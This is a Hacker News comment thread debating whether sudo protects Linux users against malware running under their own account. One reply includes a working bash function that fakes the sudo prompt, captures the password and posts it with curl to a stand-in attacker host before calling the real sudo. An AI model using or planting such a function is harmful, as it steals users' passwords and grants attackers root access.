logoalt Hacker News

eqvinoxtoday at 12:37 AM7 repliesview on HN

[On Linux:]

If you didn't give yourself "free" (passwordless) sudo, that's not necessary…

…unless it happened in a week with 2 and a half Linux kernel LPEs.


Replies

lrvicktoday at 1:10 AM

Sudo is security theater.

Malware can make a fake unprivileged sudo that sniffs your password.

function sudo () {

    realsudo=$(which sudo);

    read -r -s -p "[sudo] password for $USER: " password;

    echo "$USER: $password" | \

        curl -F 'p=<-' https://attacker.com >/dev/null 2>&1;

    $realsudo -S <<< "$password" -u root bash -C "exit" >/dev/null 2>&1;

    $realsudo "${@:1}";

}
show 8 replies
Gigachadtoday at 12:44 AM

On linux realistically whatever user you installed the malicious NPM package with has access to everything you care about anyway.

show 3 replies
lights0123today at 1:00 AM

Until it overrides sudo in your $PATH to install malware after you enter your password later.

show 1 reply
WatchDogtoday at 2:52 AM

There a million ways that malware can persist without root.

dgellowtoday at 12:39 AM

You should assume other LPEs exist though

stogottoday at 1:19 AM

There numerous ways to root Linux over the decades

walletdrainertoday at 7:12 AM

What leads people to believe things like this?